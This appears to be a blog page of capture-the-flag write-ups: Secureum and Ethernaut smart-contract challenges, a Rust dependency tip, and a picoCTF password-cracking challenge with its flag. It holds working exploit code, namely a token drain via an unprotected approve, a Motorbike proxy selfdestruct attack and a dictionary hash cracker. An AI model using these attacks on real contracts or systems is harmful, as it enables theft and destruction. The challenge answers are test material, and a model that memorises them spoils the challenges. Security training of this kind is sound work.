Secureum A-MAZE-X Stanford - Challenge 0

Secureum A-MAZE-X Stanford Github repo

Challenge 0: VitaToken seems safe, right?

Let’s begin with a simple warm up. Our beloved Vitalik is the proud owner of 100 $VTLK, which is a token that follows the ERC20 token standard. Or at least that is what it seems… 😉😉😉
📌 Upon deployment, the VToken contract mints 100 $VTLK to Vitalik’s address.
Is there a way for you to steal those tokens from him? 😈😈😈

🗒️ Concepts you should be familiar with (spoilers!)

Contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract VToken is ERC20 {

    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("VToken", "VTLK") {
      address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;   
      _mint(vitalik, 100 ether);
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address owner, address spender, uint256 amount) public returns (bool) {
        _approve(owner, spender, amount);
        return true;
    }
}

Writeup

This level is pretty easy. Check out VToken contract, there is the approve function.

  1. Add below code to Challenge0.t.sol to complete the level.
     VToken(token).approve(vitalik, player, type(uint256).max);
     IERC20(token).transferFrom(vitalik, player, IERC20(token).balanceOf(vitalik));
    
  2. Run forge test --match-path test/Challenge0.t.sol.

Ethernaut - 26. DoubleEntryPoint

Difficulty: 🌕🌕🌑🌑🌑

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

Writeup

  1. Get new instance.
  2. Get Vault address.
    
     await contract.cryptoVault()
    
    
  3. Create a contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface IDetectionBot {
         function handleTransaction(address user, bytes calldata msgData) external;
     }
    
     interface IForta {
         function setDetectionBot(address detectionBotAddress) external;
         function notify(address user, bytes calldata msgData) external;
         function raiseAlert(address user) external;
     }
    
     contract MyDetectionBot is IDetectionBot {
         address constant VAULT = YOUR_VAULT_ADDRESS;
    
         function handleTransaction(address user, bytes calldata msgData) override external {
             // The first four bytes is the hashed signature of the function.
             // The rest of bytes are hashes of the arguments being passed to the function.
             (,,address origSender) = abi.decode(msgData[4:], (address, uint256, address));
    
             if (origSender == VAULT) {
                 IForta(msg.sender).raiseAlert(user);
             }
         }
     }
    
  4. Use MyDetectionBot address as parameter to call setDetectionBot method in Forta contract. You can find Forta contract address by call below method in chrome console:
    
     await contract.forta()
    
    
  5. Submit instance ξ( ✿>◡❛)

Reference

Ethernaut - 25. Motorbike

Difficulty: 🌕🌕🌕🌑🌑

Ethernaut’s motorbike has a brand new upgradeable engine design.
Would you be able to selfdestruct its engine and make the motorbike unusable ?
Things that might help:

Contract

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

Writeup

  1. Get new instance.
  2. Call the method in the chrome console.

    
     implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
     implAddr = '0x' + implAddr.slice(-40)
     // Your Engine address
    
    
  3. Convert an upper or lowercase Ethereum address to a checksum address.
    
     await web3.utils.toChecksumAddress(implAddr)
     // Your Engine checksum address
    
    
  4. Create a contract.
       // SPDX-License-Identifier: MIT
       pragma solidity <0.7.0;
    
       import "./Initializable.sol";
       import "./Address.sol";
    
       contract AttackEngine {
         bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
         address public upgrader;
         uint256 public horsePower;
         Engine public target = Engine(YOUR_ENGINE_CHECKSUM_ADDRESS);
    
         function attack() public {
             target.initialize();
             target.upgradeToAndCall(address(this), '0xb8b3dbc6');
         }
    
         fallback() external payable {
             selfdestruct(address(this));
         }
       }
    

    Initialiazle.sol

     // SPDX-License-Identifier: MIT
       pragma solidity >=0.4.24 <0.7.0;
    
       contract Initializable {
    
         bool private initialized;
    
         bool private initializing;
    
         modifier initializer() {
           require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
    
           bool isTopLevelCall = !initializing;
           if (isTopLevelCall) {
             initializing = true;
             initialized = true;
           }
    
           _;
    
           if (isTopLevelCall) {
             initializing = false;
           }
         }
    
         function isConstructor() private view returns (bool) {
           address self = address(this);
           uint256 cs;
           assembly { cs := extcodesize(self) }
           return cs == 0;
         }
    
         uint256[50] private ______gap;
       }
    

    Address.sol

     // SPDX-License-Identifier: MIT
    
     pragma solidity ^0.6.2;
    
     library Address {
            
         function isContract(address account) internal view returns (bool) {
             uint256 size;
             assembly { size := extcodesize(account) }
             return size > 0;
         }
    
         function sendValue(address payable recipient, uint256 amount) internal {
             require(address(this).balance >= amount, "Address: insufficient balance");
    
             (bool success, ) = recipient.call{ value: amount }("");
             require(success, "Address: unable to send value, recipient may have reverted");
         }
    
         function functionCall(address target, bytes memory data) internal returns (bytes memory) {
           return functionCall(target, data, "Address: low-level call failed");
         }
    
         function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
             return _functionCallWithValue(target, data, 0, errorMessage);
         }
    
         function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
             return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
         }
    
         function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
             require(address(this).balance >= value, "Address: insufficient balance for call");
             return _functionCallWithValue(target, data, value, errorMessage);
         }
    
         function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
             require(isContract(target), "Address: call to non-contract");
    
             (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
             if (success) {
                 return returndata;
             } else {
                 if (returndata.length > 0) {
                     assembly {
                         let returndata_size := mload(returndata)
                         revert(add(32, returndata), returndata_size)
                     }
                 } else {
                     revert(errorMessage);
                 }
             }
         }
       }
    
  5. Compile & Deploy AttackEngine.sol.
  6. Call attack function.
  7. Submit instance ξ( ✿>◡❛)

Rust - Unresolved import `rand`

I encounter this error when I’m going to use rand::thread_rng().gen_range() function to create a random number.
How to solve this ? It’s really simple!

  1. open Cargo.toml
  2. add rand = "*" below [dependencies]

PicoCTF - PW Crack 5

Challenge

Tags

Beginner picoMini 2022 / General skill / password cracking / hashing

Description

Can you crack the password to get the flag?
Download the password checker here and you’ll need the encrypted flag and the hash in the same directory too. Here’s a dictionary with all possible passwords based on the password conventions we’ve seen so far.

Writeup

The challenge is quite similar to PW Crack 4, but we should know how to read dictionary.txt and then split and iterate it.
Modify level5.py script to following code :

import hashlib

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level5.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level5.hash.bin', 'rb').read()


def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()


def level_5_pw_check(pw):
    user_pw = pw
    user_pw_hash = hash_pw(user_pw)
    
    if( user_pw_hash == correct_pw_hash ):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        return decryption
    else:
        return "That password is incorrect"
    
list_ = open('dictionary.txt', 'r').read().split() #import txt and split it 

for x in list_: #iterate 
    res = level_5_pw_check(x)
    if res !="That password is incorrect" :
        print(res)

Here’s flag: picoCTF{h45h_sl1ng1ng_fffcda23} ٩(^ᴗ^)۶